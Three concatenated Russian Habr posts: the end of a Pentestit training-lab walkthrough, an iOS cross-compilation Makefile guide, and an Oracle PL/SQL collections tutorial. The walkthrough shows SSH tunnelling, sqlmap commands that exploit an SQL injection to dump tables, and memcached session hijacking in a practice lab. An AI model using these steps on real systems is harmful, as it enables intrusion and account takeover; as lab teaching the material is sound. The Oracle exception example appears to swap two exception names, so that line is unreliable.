# ssh -L 80:10.0.4.11:80 leonov@10.1.0.2 -i /root/ghost
```
Создание туннеляПопробуем просканировать веб-приложение с помощью Dirb:
```
# dirb http://127.0.0.1
```
РезультатНичего не нашли, но если дополнить ключом -w, то мы будем игнорировать предупреждения:
```
# dirb http://127.0.0.1 -w
```
РезультатЭто помогло найти страницу **auth**, которая уже не отвечает с кодом 403. Получается, найдена страница аутентификации. Запросы отправляются методом GET, поэтому пробуем подобрать параметр для аутентификации через GET-параметр:
http://127.0.0.1/auth?user=admin127.0.0.1/auth?username=adminЧто-то нашли, но ничего существенного это пока не дало. Попробуем проверить параметр username на sql-инъекции. Теперь дампим таблицы и ищем токен:
```
# sqlmap -u http://127.0.0.1/auth?username=* --dbs --tamper=space2comment -D public --tables
```
Результат
```
# sqlmap -u http://127.0.0.1/auth?username=* --dbs --tamper=space2comment -D public -T auth --dump
```
РезультатПроизведя base64-декодирование токена получаем ответ "**YYaaYYaaFF**".
**GIT**
С сервера 10.1.0.2 также есть доступ к 2 последним заданиям - GIT и cabinet, начнем с первого. Выполним проброс на локальную машину последовательными командами:
```
sshuttle -r ivanov@10.0.2.4 10.1.0.0/24
ssh -L 80:10.1.4.3:80 leonov@10.1.0.2 -i /root/ghost
```
Открывается главная страница, где мы авторизуемся под учетной записью пользователя stepanova и изучаем репозиторий:
В репозитории обнаруживаем исходный код JAVA-приложения для задания JAVA:
Но в одном из коммитов обнаруживаем токен, которым является измененный пароль от SSH.
**Cabinet**
С сервера 10.1.0.2 просканируем наш хост и обнаружим открытые порты 22 и 80. Выполним проброс на локальную машину последовательными командами:
```
sshuttle -r ivanov@10.0.2.4 10.1.0.0/24
ssh -L 80:10.1.4.3:80 leonov@10.1.0.2 -i /root/ghost
```
Авторизуемся в системе под учетной записью пользователя ivanov и попадаем на страницу с таблицей:
Сканирование веб-приложения с помощью Dirb результатов не дает:
На сайте больше ничего интересного обнаружить не удалось. Попробуем подключиться к серверу по SSH одним из пользователей. Удается это сделать под учетной записью leonov.
$ netstat -lnpсмотрим открытые порты и находим сервис с открытым портом 11211:
$ systemctl status -allУзнаем, что порт используется сервисом memcached. Обращение к порту 11211 осуществляется только с адреса 127.0.0.1. Обратимся через telnet и выполним команду stats items для вывода статистики:
```
$ stats items
```
Вывод командыТеперь запросим дамп кэша:
```
$ stats items cachedump 1 100
```
Вывод командыСмотрим, что одно из значений присваивается для текущего пользователя в параметре session в cookie. Вероятно, это идентификатор сессии. Проверяем их в браузере, подставляя каждый из них по очереди в параметр session:
Обновляем страницу и с одним их них видим на странице токен:
На этом прохождение Test lab 15 завершено, спасибо, что дочитали до конца.
**P.S.**
Если все это показалось слишком сложным и хотите на практике разобраться, как это работает — пройдите [Zero Security: A](https://www.pentestit.ru/courses/zerosecurity-a/) или [Корпоративные лаборатории Pentestit](https://www.pentestit.ru/courses/corp-lab/)- программы практической подготовки в области информационной безопасности нашей компании. До встречи в новой Test lab! | https://habr.com/ru/post/547806/ | null | ru | null |
# Кросскомпиляция библиотек под iOS, делаем это правильно
Во время разработки большого проекта наступает такой момент, когда надо встроить в приложение библиотеку из мира open source с подходящей лицензией. Например, вам захотелось ускорить декодирование картинок, или понадобился sqlite3 с fts4, или нужны какие-то плюшки из libicu, которых нету в системной libicucore.
Для этого библиотеку, которая понадобилась, нужно будет собрать для 5 архитектур: armv7, armv7s, arm64, i386, x86\_64. С кросскомпиляцией есть много подводных камней, на которые не хотелось бы наткнуться, когда есть уже проверенные решения. В этом коротком посте я расскажу об автоматизации сборки библиотек на примере protobuf и sqlite3.
Прежде чем что-то делать, нам надо определиться с тем, что же нам надо на выходе.
* Автоматизация процесса сборки нескольких библиотек
* Удобство добавления новых библиотек
* Распространение решения внутри репозитория
* Сохранение заголовочных файлов для всех архитектур
Исходя из этих требований получилось следующее решение. Makefile, который управляет скачиванием, распаковкой, патчингом и сборкой библиотек. Код его не большой, так что можно привести тут и обсудить. (Или [скачать c github и запустить, а потом читать дальше.](https://github.com/molind/crosscompile/))
Определяем путь к самому новому SDK в системе и в `build_arches:` запускаем этот же Makefile до `arch:` с заполнеными переменными ARCH и IOS\_PLATFORM. После того как `build_arches:` отработает, запустится скрипт, который соберет для каждой из библиотек ~~жирную~~ fat версию.
```
XCODE_TOOLCHAIN = $(shell xcode-select --print-path)/Toolchains/XcodeDefault.xctoolchain
IOS_PLATFORM ?= iphoneos
# Pick latest SDK in the directory
#IOS_PLATFORM_DEVELOPER = $(shell xcrun -sdk ${IOS_PLATFORM} -show-sdk-platform-path)
IOS_SDK = $(shell xcrun -sdk ${IOS_PLATFORM} -show-sdk-path)
all: build_arches
mkdir -p lib
# Make fat libraries for all architectures
for file in build/armv7/lib/*.a; \
do name=`basename $$file .a`; \
${XCODE_TOOLCHAIN}/usr/bin/lipo -create \
-arch armv7 build/armv7/lib/$$name.a \
-arch armv7s build/armv7s/lib/$$name.a \
-arch arm64 build/arm64/lib/$$name.a \
-arch i386 build/i386/lib/$$name.a \
-arch x86_64 build/x86_64/lib/$$name.a \
-output lib/$$name.a \
; \
done;
echo "Making fat libs"
# Build separate architectures
build_arches:
${MAKE} arch ARCH=armv7 IOS_PLATFORM=iphoneos
${MAKE} arch ARCH=armv7s IOS_PLATFORM=iphoneos
${MAKE} arch ARCH=arm64 IOS_PLATFORM=iphoneos
${MAKE} arch ARCH=i386 IOS_PLATFORM=iphonesimulator
${MAKE} arch ARCH=x86_64 IOS_PLATFORM=iphonesimulator
```
Когда make будет работать над зависимостями, указанными в цели `arch:`, переменные окружения будут проинициализированы для той архитектуры, которая собирается в настоящий момент. Обратите внимание, что мы заполнили PREFIX и make install библиотек установит результат сборки в папки ./build/armv7, ./build/armv7s и т.д.
Цель `arch:` указывает на цели, от которых она зависит. В нашем случае это библиотеки, которые мы собираем. При добавлении новых библиотек — их цели надо будет добавить в зависимости `arch:`, иначе они не соберутся.
```
PREFIX = ${CURDIR}/build/${ARCH}
LIBDIR = ${PREFIX}/lib
INCLUDEDIR = ${PREFIX}/include
CXX = ${XCODE_TOOLCHAIN}/usr/bin/clang++
CC = ${XCODE_TOOLCHAIN}/usr/bin/clang
CFLAGS = -isysroot ${IOS_SDK} -I${IOS_SDK}/usr/include -arch ${ARCH} -miphoneos-version-min=5.0
CXXFLAGS = -stdlib=libc++ -isysroot ${IOS_SDK} -I${IOS_SDK}/usr/include -arch ${ARCH} -miphoneos-version-min=5.0
LDFLAGS = -stdlib=libc++ -isysroot ${IOS_SDK} -L${LIBDIR} -L${IOS_SDK}/usr/lib -arch ${ARCH} -miphoneos-version-min=5.0
LIBTOOLFLAGS = -arch_only ${ARCH}
arch: ${LIBDIR}/libsqlite3.a ${LIBDIR}/libprotobuf.a
```
В последней части осталось самое простое. Цели сборки библиотек, которые зависят от целей скачивания исходников. Именно тут можно указать кастомные ключи для ./configure или добавить поддержку arm64 в protobuf.
```
${LIBDIR}/libsqlite3.a: ${CURDIR}/sqlite3
cd sqlite3 && env CXX=${CXX} CC=${CC} CFLAGS="${CFLAGS}" \
CXXFLAGS="${CXXFLAGS} -DSQLITE_ENABLE_RTREE -DSQLITE_ENABLE_FTS4 -DSQLITE_ENABLE_FTS4_UNICODE61" \
LDFLAGS="${LDFLAGS}" ./configure --host=arm-apple-darwin --disable-shared --prefix=${PREFIX} && ${MAKE} clean install
${LIBDIR}/libprotobuf.a: ${CURDIR}/protobuf
cd protobuf && env CXX=${CXX} CC=${CC} CFLAGS="${CFLAGS}" CXXFLAGS="${CXXFLAGS}" LDFLAGS="${LDFLAGS}" \
./configure --host=arm-apple-darwin --disable-shared --with-protoc=/usr/local/bin/protoc --prefix=${PREFIX} && ${MAKE} clean install
${CURDIR}/sqlite3:
curl https://www.sqlite.org/2014/sqlite-autoconf-3080403.tar.gz > sqlite3.tar.gz
tar xzvf sqlite3.tar.gz
rm sqlite3.tar.gz
mv sqlite-autoconf-3080403 sqlite3
touch sqlite3
${CURDIR}/protobuf:
curl https://protobuf.googlecode.com/files/protobuf-2.5.0.tar.gz > protobuf.tar.gz
tar xzvf protobuf.tar.gz
rm protobuf.tar.gz
mv protobuf-2.5.0 protobuf
# add arm64 support https://code.google.com/p/protobuf/issues/detail?id=575
patch -p0
```
На выходе: в папке /lib лежат fat версии библиотек, а в build/{$ARCH}/include заголовочные файлы, которые могут пригодиться в работе.
Заголовочные файлы для каждой архитектуры раздельно нужны не всегда, но встречаются библиотеки, которые на этапе ./configure в явном виде сохраняют размеры системных типов в заголовочный файл, например в config.h. Когда мы используем такой файл для arm64 и armv7 одновременно, есть риск, что что-то пойдет не так на каком-то этапе работы. И именно чтобы не гадать поломается что-то в логике работы библиотеки или нет и не включать в проект дополнительное тестирование библиотеки на всех архитектурах в поисках проблем совместимости, я для всех fat библиотек использую раздельные версии заголовочных файлов. Сделать это просто, в **Header Search Path** нужно добавить `"$(SRCROOT)/../../libs/build/$(arch)/include"`. Где `/../../libs/build/` путь к папке build относительно файла xcodeproj.
Этот способ сборки я подсмотрел в [github репозитории сборки растрового рендера mapnik](https://github.com/PaulWagener/mapnik-ios-framework/), там же можно посмотреть более сложный вариант Makefile, когда одна библиотека зависит от нескольких других.
Файлы этого поста можно [скачать с github](https://github.com/molind/crosscompile) и полюбоваться на бегущие строчки кросскомпиляции. Достаточно набрать `make`. | https://habr.com/ru/post/222343/ | null | ru | null |
# Все о коллекциях в Oracle
*Статья имеет довольно таки тезисный стиль. Более подробное содержание можно найти в приложенном внизу статьи видео с записью лекции по коллекциям Oracle.*
Коллекции присутствую в том или ином виде в большинстве языков программирования и везде имеют схожую суть в плане использования. А именно – позволяют хранить набор объектов одного типа и проводить над всем набором какие-либо действия, либо в цикле проводить однотипные действия со всеми элементами набора.
Таким же образом коллекции используются и в Oracle.
#### **Содержание статьи**
* [Общие сведения о коллекциях в pl/sql](#One)
* [Типы коллекций](#Two)
* [Ассоциативный массив](#Three)
* [Varray](#Four)
* [Nested table](#Five)
* [Set operations с nested tables](#Six)
* [Логические операции с коллекциями](#Seven)
* [Методы коллекций](#Eight)
+ [Delete](#Nine)
+ [Trim](#Ten)
+ [Extend](#Eleven)
+ [Exists](#Twelve)
+ [First и Last](#Thirteen)
+ [Count](#Fourteen)
+ [Limit](#Fifteen)
+ [Prior и Next](#Sixteen)
* [Bulk Collect](#Seventeen)
* [Цикл forall](#Eighteen)
+ [Exceptions in forall](#Nineteen)
* [Collection exceptions](#Twenty)
* [DBMS\_SESSION.FREE\_UNUSED\_USER\_MEMORY](#TwentyOne)
##### **Общие сведения о коллекциях в pl/sql**
* Создание коллекции происходит в два этапа
1. Сначала мы объявляем тип(type) коллекции (конструкции assoc\_array\_type\_def, varray\_type\_def и nested\_table\_type\_def будут приведены далее)
2. Затем объявляем переменную этого типа
* Обращение к элементу коллекции имеет следующий синтаксис:
```
variable_name(index)
```
* Переменные типа коллекции могут принимать значение NULL (и сами элементы коллекций тоже).
* Возможны многомерные коллекции (коллекции коллекций)
##### **Типы коллекций**
| Тип коллекции | Количество элементов | Тип индекса | Плотная или разреженная | Без инициализации | Где объявляется | Использование в SQL |
| --- | --- | --- | --- | --- | --- | --- |
| Ассоциативный массив
(index by table) | Не задано | String
Pls\_integer | Плотная и разреженная | Empty | PL/SQL block
Package | Нет |
| Varray
(variable-size array) | Задано | Integer | Только плотная | Null | PL/SQL block
Package
Schema level | Только определенные на уровне схемы |
| Nested table | Не задано | Integer | При создании плотная, может стать разреженной | Null | PL/SQL block
Package
Schema level | Только определенные на уровне схемы |
Плотность коллекции означает, что между элементами коллекции нет пропусков, пустых мест. Некоторые коллекции, как видно из таблицы, могут быть разреженными – т.е. могут иметь разрывы между элементами. Это значит, что в коллекции, например, могут быть элементы с индексом 1 и 4, а с индексом 2 и 3 элементов нет. При этом слоты памяти под 2-й и 3-й элементы будут существовать и будут принадлежать коллекции (в случае nested table), но не содержать при этом объектов и попытка прочитать содержимое этих элементов вызовет ошибку no\_data\_found.
Подробности можно узнать из видео-лекции в конце статьи.
##### **Ассоциативный массив**
Также его называют index by table или pl/sql table.
Тип описывается следующим образом (assoc\_array\_type\_def):.
* Набор пар ключ-значение
* Данные хранятся в отсортированном по ключу порядке
* Не поддерживает DML-операции (не может участвовать в селектах, не может храниться в таблицах)
* При объявлении как константа должен быть сразу инициализирован функцией
* Порядок элементов в ассоциативном массиве с строковым индексом зависит от параметров NLS\_SORT и NLS\_COMP
* Нельзя объявить тип на уровне схемы, но можно в пакете
* Не имеет конструктора
* Индекс не может принимать значение null (но допускает пустую строку — подробности и ссылка на пример в первом комментарии)
* Datatype – это любой тип данных, кроме ref cursor
**Используются для:**
* Для помещения в память небольших таблиц-справочников
* Для передачи в качестве параметра коллекции
**Restrictions:**
При изменении параметров NLS\_SORT и NLS\_COMP во время сессии после заполнения ассоциативного массива, можем получать неожиданные результаты вызовов методов first, last, next, previous. Также могут возникнуть проблемы при передаче ассоциативного массива в качестве параметра на другую БД с иными настройками NLS\_SORT и NLS\_COMP
##### **Varray**
Представляет собой массив последовательно хранящихся элементов
Тип описывается следующим образом (varay\_type\_def):
* Размер задается при создании
* Индексируется с 1
* Инициализируется конструктором
```
collection_type ( [ value [, value ]... ] )
```
* Если параметры в конструктор не передаются, возвращается пустая коллекция
* Datatype – это любой тип данных, кроме ref cursor
**Используется, если:**
* Знаем максимально возможное количество элементов
* Доступ к элементам последовательный
**Restrictions:**
Максимальный размер – 2 147 483 647 элементов
##### **Nested table**
Тип описывается следующим образом (nested\_table\_type\_def):
* Размер коллекции изменяется динамически
* Может быть в разряженном состоянии, как показано на картинке
<
* Инициализируется конструктором
```
collection_type ( [ value [, value ]... ] )
```
* Если параметры в конструктор не передаются, возвращается пустая коллекция
* Datatype – это любой тип данных, кроме ref cursor
* Если содержит только одно скалярное значение, то имя колонки – Column\_Value
```
SELECT column_value FROM TABLE(nested_table)
```
В комментариях к этой статье предлагают более предпочтительный вариант — он более универсальный, допускает не только скалярное значение в таблице:
```
SELECT value(t) x FROM TABLE(nested_table) t
```
* Если параметры в конструктор не передаются, возвращается пустая коллекция
##### **Set operations с nested tables**
Операции возможны только с коллекциями **nested table**. Обе коллекции, участвующие в операции, должны быть одного типа.
Результатом операции также является коллекция **nested table**.
| Операция | Описание |
| --- | --- |
| MULTISET UNION | Возвращает объединение двух коллекций |
| MULTISET UNION DISTINCT | Возвращает объединение двух коллекций с дистинктом (убирает дубли) |
| MULTISET INTERSECT | Возвращает пересечение двух коллекций |
| MULTISET INTERSECT DISTINCT | Возвращает пересечение двух коллекций с дистинктом (убирает дубли) |
| SET | Возвращает коллекцию с дистинктом (т.е. коллекцию без дублей) |
| MULTISET EXCEPT | Возвращает разницу двух коллекций |
| MULTISET EXCEPT DISTINCT | Возвращает разницу двух коллекций с дистинктом (убирает дубли) |
**Небольшой пример**Небольшой пример (обратите внимание на результат операции **MULTISET EXCEPT DISTINCT**)
```
DECLARE
TYPE nested_typ IS TABLE OF NUMBER;
nt1 nested_typ := nested_typ(1,2,3);
nt2 nested_typ := nested_typ(3,2,1);
nt3 nested_typ := nested_typ(2,3,1,3);
nt4 nested_typ := nested_typ(1,2,4);
answer nested_typ;
BEGIN
answer := nt1 MULTISET UNION nt4;
answer := nt1 MULTISET UNION nt3;
answer := nt1 MULTISET UNION DISTINCT nt3;
answer := nt2 MULTISET INTERSECT nt3;
answer := nt2 MULTISET INTERSECT DISTINCT nt3;
answer := SET(nt3);
answer := nt3 MULTISET EXCEPT nt2;
answer := nt3 MULTISET EXCEPT DISTINCT nt2;
END;
```
**Результат:**
```
nt1 MULTISET UNION nt4: 1 2 3 1 2 4
nt1 MULTISET UNION nt3: 1 2 3 2 3 1 3
nt1 MULTISET UNION DISTINCT nt3: 1 2 3
nt2 MULTISET INTERSECT nt3: 3 2 1
nt2 MULTISET INTERSECT DISTINCT nt3: 3 2 1
SET(nt3): 2 3 1
nt3 MULTISET EXCEPT nt2: 3
nt3 MULTISET EXCEPT DISTINCT nt2: empty set
```
##### **Логические операции с коллекциями**
| Операция | Описание |
| --- | --- |
| IS NULL (IS NOT NULL) | Сравнивает коллекцию со значением NULL |
| Сравнение = | Две коллекции nested table можно сравнить, если они одного типа и не содержат записей типа record. Они равны, если имеют одинаковые наборы элементов (не зависимо от порядка хранения элементов внутри коллекции) |
| IN | Сравнивает коллекцию с перечисленными в скобках |
| SUBMULTISET OF | Проверяет, является ли коллекция подмножеством другой коллекции |
| MEMBER OF | Проверяет, является ли конкретный элемент(объект) частью коллекции |
| IS A SET | Проверяет, содержит ли коллекция дубли |
| IS EMPTY | Проверяет, пуста ли коллекция |
**Небольшой пример использования логический операций с коллекциями**
```
DECLARE
TYPE nested_typ IS TABLE OF NUMBER;
nt1 nested_typ := nested_typ(1, 2, 3);
nt2 nested_typ := nested_typ(3, 2, 1);
nt3 nested_typ := nested_typ(2, 3, 1, 3);
nt4 nested_typ := nested_typ();
BEGIN
IF nt1 = nt2 THEN
DBMS_OUTPUT.PUT_LINE('nt1 = nt2');
END IF;
IF (nt1 IN (nt2, nt3, nt4)) THEN
DBMS_OUTPUT.PUT_LINE('nt1 IN (nt2,nt3,nt4)');
END IF;
IF (nt1 SUBMULTISET OF nt3) THEN
DBMS_OUTPUT.PUT_LINE('nt1 SUBMULTISET OF nt3');
END IF;
IF (3 MEMBER OF nt3) THEN
DBMS_OUTPUT.PUT_LINE(‘3 MEMBER OF nt3');
END IF;
IF (nt3 IS NOT A SET) THEN
DBMS_OUTPUT.PUT_LINE('nt3 IS NOT A SET');
END IF;
IF (nt4 IS EMPTY) THEN
DBMS_OUTPUT.PUT_LINE('nt4 IS EMPTY');
END IF;
END;
```
**Результат:**
```
nt1 = nt2
nt1 IN (nt2,nt3,nt4)
nt1 SUBMULTISET OF nt3
3 MEMBER OF nt3
nt3 IS NOT A SET
nt4 IS EMPTY
```
##### **Методы коллекций**
Синтаксис вызова методов:
```
collection_name.method
```
| Метод | Тип | Описание | Index by table | Varray | Nested table |
| --- | --- | --- | --- | --- | --- |
| DELETE | Процедура | Удаляет элементы из коллекции | Да | Только версия без параметров | Да |
| TRIM | Процедура | Удаляет элементы с конца коллекции (работает с внутренним размером коллекции) | Нет | Да | Да |
| EXTEND | Процедура | Добавляет элементы в конец коллекции | Нет | Да | Да |
| EXISTS | Функция | Возвращает TRUE, если элемент присутствует в коллекции | Да | Да | Да |
| FIRST | Функция | Возвращает первый индекс коллекции | Да | Да | Да |
| LAST | Функция | Возвращает последний индекс коллекции | Да | Да | Да |
| COUNT | Функция | Возвращает количество элементов в коллекции | Да | Да | Да |
| LIMIT | Функция | Возвращает максимальное количество элементов, которые может хранить коллекция | Нет | Да | Нет |
| PRIOR | Функция | Возвращает индекс предыдущего элемента коллекции | Да | Да | Да |
| NEXT | Функция | Возвращает индекс следующего элемента коллекции | Да | Да | Да |
###### **Delete*** Delete удаляет все элементы. Сразу же очищает память, выделенную для хранения этих элементов.
* Delete(n) удаляет элемент с индексом n. Память не освобождает. Элемент можно восстановить (т.е. задать новый) и он займет ту же память, что занимал предыдущий.
* Delete(n, m) удаляет элементы с индексами в промежутке n..m
* Если удаляемого элемента в коллекции нет, ничего не делает.
* Для коллекций типа varray доступна только версия метода без параметров
**Пример использования**
```
DECLARE
TYPE nt_type IS TABLE OF NUMBER;
nt nt_type := nt_type(11, 22, 33, 44, 55, 66);
BEGIN
nt.DELETE(2); -- Удаляет второй элемент
nt(2) := 2222; -- Восстанавливает 2-й элемент
nt.DELETE(2, 4); -- Удаляет элементы со 2-го по 4-й
nt(3) := 3333; -- Восстанавливает 3-й элемент
nt.DELETE; -- Удаляет все элементы
END;
```
**Результаты:**
```
beginning: 11 22 33 44 55 66
after delete(2): 11 33 44 55 66
after nt(2) := 2222: 11 2222 33 44 55 66
after delete(2, 4): 11 55 66
after nt(3) := 3333: 11 3333 55 66
after delete: empty set
```
**Trim**
* Trim() – удаляет один элемент в конце коллекции. Если элемента нет, генерирует исключение SUBSCRIPT\_BEYOND\_COUNT
* Trim(n) – удаляет n элементов в конце коллекции. Если элементов меньше, чем n, генерируется исключение SUBSCRIPT\_BEYOND\_COUNT
* Работает с внутренним размером коллекции. Т.е. если последний элемент был удален с помощью Delete, вызов Trim() удалит уже удаленный ранее элемент.
* Сразу очищает память, выделенную для хранения этих элементов
* Лучше не использовать в сочетании с Delete()
**Пример использования**
```
DECLARE
TYPE nt_type IS TABLE OF NUMBER;
nt nt_type := nt_type(11, 22, 33, 44, 55, 66);
BEGIN
nt.TRIM; -- Trim last element
nt.DELETE(4); -- Delete fourth element
nt.TRIM(2); -- Trim last two elements
END;
```
**Результат:**
```
beginning: 11 22 33 44 55 66
after TRIM: 11 22 33 44 55
after DELETE(4): 11 22 33 55
after TRIM(2): 11 22 33
```
**Extend**
* EXTEND добавляет один элемент со значением null в конец коллекции
* EXTEND(n) добавляет n элементов со значением null в конец коллекции
* EXTEND(n,i) добавляет n копий элемента с индексом i в конец коллекции. Если коллекция имеет NOT NULL констрейнт, только этой формой можно пользоваться.
* Если элементы были ранее удалены с помощью метода Delete, Extend не будет использовать сохранившиеся за коллекцией ячейки памяти, а добавит новый элемент (выделит новую память)
**Пример использования**
```
DECLARE
TYPE nt_type IS TABLE OF NUMBER;
nt nt_type := nt_type(11, 22, 33);
BEGIN
nt.EXTEND(2, 1); -- Append two copies of first element
nt.DELETE(5); -- Delete fifth element
nt.EXTEND; -- Append one null element
END;
```
**Результат:**
```
beginning: 11 22 33
after EXTEND(2,1): 11 22 33 11 11
after DELETE(5): 11 22 33 11
after EXTEND: 11 22 33 11
```
**Exists**
* Для удаленных элементов возвращает false
* При выходе за границы коллекции возвращает false
**Пример использования**
```
DECLARE
TYPE NumList IS TABLE OF INTEGER;
n NumList := NumList(1, 3, 5, 7);
BEGIN
n.DELETE(2); -- Delete second element
FOR i IN 1 .. 6
LOOP
IF n.EXISTS(i)
THEN
DBMS_OUTPUT.PUT_LINE('n(‘||i||') = ' || n(i));
ELSE
DBMS_OUTPUT.PUT_LINE('n(‘||i||') does not exist');
END IF;
END LOOP;
END;
```
**First и Last**
* Для varray First всегда возвращает единицу, Last всегда возвращает то же значение, что и Count
**Пример использования**
```
DECLARE
TYPE aa_type_str IS TABLE OF INTEGER INDEX BY VARCHAR2(10);
aa_str aa_type_str;
BEGIN
aa_str('Z') := 26;
aa_str('A') := 1;
aa_str('K') := 11;
aa_str('R') := 18;
DBMS_OUTPUT.PUT_LINE('Before deletions:');
DBMS_OUTPUT.PUT_LINE('FIRST = ' || aa_str.FIRST);
DBMS_OUTPUT.PUT_LINE('LAST = ' || aa_str.LAST);
aa_str.DELETE('A');
aa_str.DELETE('Z');
DBMS_OUTPUT.PUT_LINE('After deletions:');
DBMS_OUTPUT.PUT_LINE('FIRST = ' || aa_str.FIRST);
DBMS_OUTPUT.PUT_LINE('LAST = ' || aa_str.LAST);
END;
```
**Результат:**
```
Before deletions:
FIRST = A
LAST = Z
After deletions:
FIRST = K
LAST = R
```
**Count**
**Пример использования**
```
DECLARE
TYPE NumList IS VARRAY(10) OF INTEGER;
n NumList := NumList(1, 3, 5, 7);
BEGIN
DBMS_OUTPUT.PUT('n.COUNT = ' || n.COUNT || ', ');
DBMS_OUTPUT.PUT_LINE('n.LAST = ' || n.LAST);
n.EXTEND(3);
DBMS_OUTPUT.PUT('n.COUNT = ' || n.COUNT || ', ');
DBMS_OUTPUT.PUT_LINE('n.LAST = ' || n.LAST);
n.TRIM(5);
DBMS_OUTPUT.PUT('n.COUNT = ' || n.COUNT || ', ');
DBMS_OUTPUT.PUT_LINE('n.LAST = ' || n.LAST);
END;
```
**Результат**
```
n.COUNT = 4, n.LAST = 4
n.COUNT = 7, n.LAST = 7
n.COUNT = 2, n.LAST = 2
```
**Limit**
* Для varray возвращает максимально допустимое количество элементов в коллекции, для остальных коллекций возвращает null
**Пример использования**
```
DECLARE
TYPE aa_type IS TABLE OF INTEGER INDEX BY PLS_INTEGER;
aa aa_type; -- associative array
TYPE va_type IS VARRAY(4) OF INTEGER;
va va_type := va_type(2, 4); -- varray
TYPE nt_type IS TABLE OF INTEGER;
nt nt_type := nt_type(1, 3, 5); -- nested table
BEGIN
aa(1) := 3;
aa(2) := 6;
aa(3) := 9;
aa(4) := 12;
DBMS_OUTPUT.PUT_LINE('aa.COUNT = ' || aa.count);
DBMS_OUTPUT.PUT_LINE('aa.LIMIT = ' || aa.limit);
DBMS_OUTPUT.PUT_LINE('va.COUNT = ' || va.count);
DBMS_OUTPUT.PUT_LINE('va.LIMIT = ' || va.limit);
DBMS_OUTPUT.PUT_LINE('nt.COUNT = ' || nt.count);
DBMS_OUTPUT.PUT_LINE('nt.LIMIT = ' || nt.limit);
END;
```
**Результат:**
```
aa.COUNT = 4
aa.LIMIT =
va.COUNT = 2
va.LIMIT = 4
nt.COUNT = 3
nt.LIMIT =
```
**Prior и Next**
* Позволяют перемещаться по коллекции
* Возвращают индекс предыдущего/следующего элемента (или null, если элемента нет)
**Пример использования**
```
DECLARE
TYPE nt_type IS TABLE OF NUMBER;
nt nt_type := nt_type(18, NULL, 36, 45, 54, 63);
BEGIN
nt.DELETE(4);
DBMS_OUTPUT.PUT_LINE('nt(4) was deleted.');
FOR i IN 1 .. 7
LOOP
DBMS_OUTPUT.PUT('nt.PRIOR(' || i || ') = ');
print(nt.PRIOR(i));
DBMS_OUTPUT.PUT('nt.NEXT(' || i || ') = ');
print(nt.NEXT(i));
END LOOP;
END;
```
**Результат:**
```
nt(4) was deleted.
nt.PRIOR(1) =
nt.NEXT(1) = 2
nt.PRIOR(2) = 1
nt.NEXT(2) = 3
nt.PRIOR(3) = 2
nt.NEXT(3) = 5
nt.PRIOR(4) = 3
nt.NEXT(4) = 5
nt.PRIOR(5) = 3
nt.NEXT(5) = 6
nt.PRIOR(6) = 5
nt.NEXT(6) =
nt.PRIOR(7) = 6
nt.NEXT(7) =
```
**Bulk Collect**
* Возвращает результаты sql-оператора в PL/SQL пачками, а не по одному
* SELECT BULK COLLECT INTO
* FETCH BULK COLLECT INTO [LIMIT]
* RETURNING BULK COLLECT INTO
* Не работает с ассоциативными массивами (кроме тех, что индексированы pls\_integer)
**Пример использования**
```
DECLARE
TYPE NumTab IS TABLE OF employees.employee_id%TYPE;
TYPE NameTab IS TABLE OF employees.last_name%TYPE;
CURSOR c1 IS SELECT employee_id,last_name
FROM employees
WHERE salary > 10000
ORDER BY last_name;
enums NumTab;
names NameTab;
BEGIN
SELECT employee_id, last_name
BULK COLLECT INTO enums, names
FROM employees
ORDER BY employee_id;
OPEN c1;
LOOP
FETCH c1 BULK COLLECT INTO enums, names LIMIT 10;
EXIT WHEN names.COUNT = 0;
do_something();
END LOOP;
CLOSE c1;
DELETE FROM emp_temp WHERE department_id = 30
RETURNING employee_id, last_name BULK COLLECT INTO enums, names;
END;
```
**Цикл forall**
* посылает DML операторы из PL/SQL в SQL пачками, а не по одному
* может содержать только один DML оператор
* для разряженных коллекций используется форма:
```
FORALL i IN INDICES OF cust_tab
```
(конструкция не работает для ассоциативных массивов, индексированных строками)
* с разряженными коллекциями (или с частью коллекции) удобно работать с помощью индекс-коллекций (of pls\_integer). Пример использования:
```
FORALL i IN VALUES OF rejected_order_tab
```
* Некоторые детали работы forall можно найти в этой статье [habrahabr.ru/post/125893](http://habrahabr.ru/post/125893/)
* **SQL%BULK\_ROWCOUNT** – коллекция, содержит количество строк, на которые повлиял каждый dml оператор
* **SQL%ROWCOUNT** – общее количество строк, на которые повлияли dml-операторы в цикле forall
**Пример использования**
```
DECLARE
TYPE NumList IS TABLE OF NUMBER;
depts NumList := NumList(10, 20, 30);
TYPE enum_t IS TABLE OF employees.employee_id%TYPE;
e_ids enum_t;
TYPE dept_t IS TABLE OF employees.department_id%TYPE;
d_ids dept_t;
BEGIN
FORALL j IN depts.FIRST .. depts.LAST
DELETE FROM emp_temp
WHERE department_id = depts(j)
RETURNING employee_id, department_id BULK COLLECT INTO e_ids, d_ids;
END;
```
**Exceptions in forall**
* При возникновении исключения в любом из dml-операторов в цикле, транзакция полностью откатывается
* Если описать обработчик ошибок, в нем можно зафиксировать успешно выполнившиеся операторы dml (это те операторы, которые выполнились до возникновения исключения).
* Конструкция
```
FORALL j IN collection.FIRST.. collection.LAST SAVE EXCEPTIONS
```
Генерит ORA-24381 в конце, если в цикле возникали исключения
* SQL%BULK\_EXCEPTIONS – коллекция, содержащая информацию о всех сгенерированных во время выполнения цикла исключениях
.Count
.ERROR\_INDEX – значение индекса j, при котором произошло исключение (sql%bulk\_exception(i).error\_index)
.ERROR\_CODE — код возникшей ошибки. Информацию об ошибке можно извлечь с помощью функции sqlerrm: SQLERRM(-(SQL%BULK\_EXCEPTIONS(i).ERROR\_CODE))
**Collection exceptions**
* **COLLECTION\_IS\_NULL** – попытка работать с неинициализированной коллекцией
* **NO\_DATA\_FOUND** – попытка прочитать удаленный элемент
* **SUBSCRIPT\_BEYOND\_COUNT** – выход за границы коллекции
* **SUBSCRIPT\_OUTSIDE\_LIMIT** – индекс вне предела допустимого диапазона
* **VALUE\_ERROR** – индекс равен null или не конвертируется в integer
**Примеры ситуаций, генерирующих исключения**
```
DECLARE
TYPE NumList IS TABLE OF NUMBER;
nums NumList;
BEGIN
nums(1) := 1; -- raises COLLECTION_IS_NULL
nums := NumList(1, 2);
nums(NULL) := 3; -- raises VALUE_ERROR
nums(0) := 3; -- raises SUBSCRIPT_BEYOND_COUNT
nums(3) := 3; --raises SUBSCRIPT_OUTSIDE_LIMIT
nums.Delete(1);
IF nums(1) = 1 THEN ... -- raises NO_DATA_FOUND
END;
```
**DBMS\_SESSION.FREE\_UNUSED\_USER\_MEMORY**
* Процедура DBMS\_SESSION.FREE\_UNUSED\_USER\_MEMORY возвращает неиспользуемую более память системе
